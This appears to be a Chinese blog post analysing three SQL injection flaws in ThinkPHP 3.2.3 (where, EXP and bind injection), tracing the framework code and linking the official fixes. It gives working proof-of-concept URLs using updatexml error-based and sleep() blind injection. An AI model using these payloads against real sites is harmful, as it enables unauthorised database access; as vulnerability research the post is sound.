thinkphp3 注入漏洞

SQL where注入

配置控制器Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
}

查询GET方式传入的id对应的数据

输入http://127.0.0.1/thinkphp-3.2.3/index.php?id=1打断点简单走一遍

经过了一些初始配置之后会来到I()函数,在前面我们已经介绍过,这是封装的一个获取输入的函数。

先进行了参数类型和请求方法的分离:

然后switch判断请求方法

这时候把输入赋值给$data,过滤方法如果没有定义的话就用配置文件里的默认过滤

$data    = $input;
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');

默认过滤为:
'DEFAULT_FILTER' => 'htmlspecialchars'
最后$data还要通过think_filter()过滤,就是匹配数据中是否具有敏感字符,其函数如下:

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

如果$data匹配到敏感字符就会在数据后添加一个空格,需要注意的是,这里的特殊字符里面没有过滤BIND

接着由于TP3的链式调用我们又进入了find()方法,继续跟进

传入find()函数的时候参数$options还是1',单引号还在

public function find($options = array())

接着判断参数是否为数字或字符串,是的话就转化为数组

这时候 $options['where']where=>array('id'=>"1'")

然后判断是否存在多个主键,我们这里的主键唯一id,不会进入

接下来经过这行代码后单引号被去除
$options = $this->_parseOptions($options);

跟进_parseOptions函数

遍历了$options['where']里面的值,对每个值进行
$this->_parseType($options['where'], $key);

跟进其函数$this->_parseType

    protected function _parseType(&$data, $key)
    {
        if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
            $fieldType = strtolower($this->fields['_type'][$key]);
            if (false !== strpos($fieldType, 'enum')) {
                // 支持ENUM类型优先检测
            } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
                $data[$key] = intval($data[$key]);
            } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
                $data[$key] = floatval($data[$key]);
            } elseif (false !== strpos($fieldType, 'bool')) {
                $data[$key] = (bool) $data[$key];
            }
        }
    }

数据库中id对应的$fieldTypeint(11),所以进入

$data[$key] = intval($data[$key]);,强制类型转换之后我们的单引号就丢失了。

接下来进入select函数进行查询,避免了注入的问题

    public function select($options = array())
    {
        $this->model = $options['model'];
        $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
        $sql    = $this->buildSelectSql($options);
        $result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
        return $result;
    }

整个过程是id=1' -> I() -> find() -> _parseOptions() -> _parseType()


也就是我们不能进入第二个红框,突破点可以在第一个红框处
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
而恰好这里的$options是我们可控的,紧接着其中的$options['where']也是可控的,比如我们传入?id[where]=1

虽然这里存在对$options['where']赋值

但因为我们传入的是数组从而不进入这个if语句

所以在is_array($options['where']),这里的$options['where']是一个字符串而不是数组,避免进入if之后被过滤。

检测POC

检测的POC为:id[where]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

需要注意的是,只有TP开了debug模式才会有报错,当目标站点没有开debug的时候,我们很容易会想到使用时间盲注进行检测

时间盲注POC为:id[where]=1 and (select 1 from(select sleep(2))x)

另外一个需要注意的点是,这个POC需要根据实际情况来进行修改,因为id只是测试用的参数,使用了 M('users')->find(I('GET.id')); 进行触发,恰巧在开发者手册中TP推荐这样来获取参数所以增加了漏洞的利用性

漏洞修复

https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04

SQL EXP注入

配置控制器Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        $User = D('Users');
        $map = array('username' => $_GET['username']);
        $user = $User->where($map)->find();
        var_dump($user);
    }
}

传入?username=admin打断点调试,进入where函数

这时候的$where是数组,并且赋值给$this->options['where']

链式调用进行find()函数,上一个漏洞我们分析过这个函数,继续调试进入$options = $this->_parseOptions($options);

处理之后的$options

接着进入select()方法

生成查询SQL语句$sql = $this->buildSelectSql($options);

跟进$this->buildSelectSql($options);之后其中主要调用了$sql = $this->parseSql($this->selectSql, $options);

跟进parseSql()

因为我们使用了where方法,所以会进入parseWhere

经过一些处理之后到大概586行的$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);

parseKey获取了我们的参数名

$val就是键值参数对应的值 admin

接着进入parseWhereItem($key, $val),漏洞点就在这个函数里

首先检查$val是否是数组,如果是数组的话,$val[0]是否是字符串,如果$val[0]exp,就直接将$key$val[1]进行拼接

$whereStr .= $key . ' ' . $val[1];

然后返回$whereStr

所以这个漏洞利用点也是需要用数组来进行利用,整个POC就呼之欲出了

/index.php?username[0]=exp&username[1]=%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

如果没开debug的话还是也可以用盲注
/index.php?username[0]=exp&username[1]=%20and%20(select%201%20from(select%20sleep(2))x)

需要注意的是,在这个案例中我们没有使用I()方法来获取GET参数,而是使用的

$map = array('username' => $_GET['username']);

如果换成之前的I函数获取输入,则会进入think_filter函数

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

经过其处理后,会在exp后面拼接上空格,进而无法进入

} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];

从而无法利用

thinkphp3.2.3 bind注入

配置控制器Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        $User = M("Users");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }
}

访问http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=test&password=aaa

访问之后发现test前面添加了冒号

打断点进入save()函数逻辑

逐步跟进之后在save()函数中主要调用了update()函数

$result = $this->db->update($data, $options);

数据库更新语句有下面主要由下面三部分拼接

主要看第二句$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');

因为传入的是数组,跟进之后来到了$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);

在前面提到过,这里会直接将传入的id[0]作为$exp,而$exp=='bind'则会进入

} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];

经过该逻辑处理后数据变成了 key=:value 这样的格式,这也是为什么我们的payload输入之后会出现冒号的原因了

接下来需要寻找去除掉冒号的办法,继续跟进

现在的SQL语句是

进入execute()方法,$this->queryStr为即将执行的SQL语句,重点关注红框内的代码

if (!empty($this->bind)) {
    $that           = $this;
    $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
}

这里会执行两个函数,一个strst()字符串替换函数,一个使用array_map()调用的匿名函数

进入上述代码前,即将执行的SQL语句为

"UPDATE tp3_users SET password=:0 WHERE id = :test"

可以看到:0是一个占位标记符,TP在此处想要做预编译的操作,而这里的匿名函数调用escapeString()过滤bind数组,前面知道bind数组只有set语句的值,输出数组为:

strst()将会把占位标记符转换为 $this->bind 数组中对应的值,即将语句中的:0替换为password的值aaa,从而我们只要让前面POC中的id[1]=0,这样就能够人为拼接出一个:0,消除冒号的影响

最终的POC为

http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

实际执行的SQL语句为:

UPDATE tp3_users SET password='1' WHERE id = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

DEBUG关闭时可以使用盲注

http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0%20and%20(select%201%20from(select%20sleep(2))x)&password=1

需要注意的是虽然我们这里用的是I()方法获取输入但还是造成了SQL注入,原因在于I()方法的过滤中忘记过滤bind关键字了,所以在官方的漏洞修补中,添加了bind关键字的过滤 https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

参考链接:

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃

GIF GIF
posted @ 2022-03-01 22:39  春告鳥  阅读(852)  评论(0编辑  收藏  举报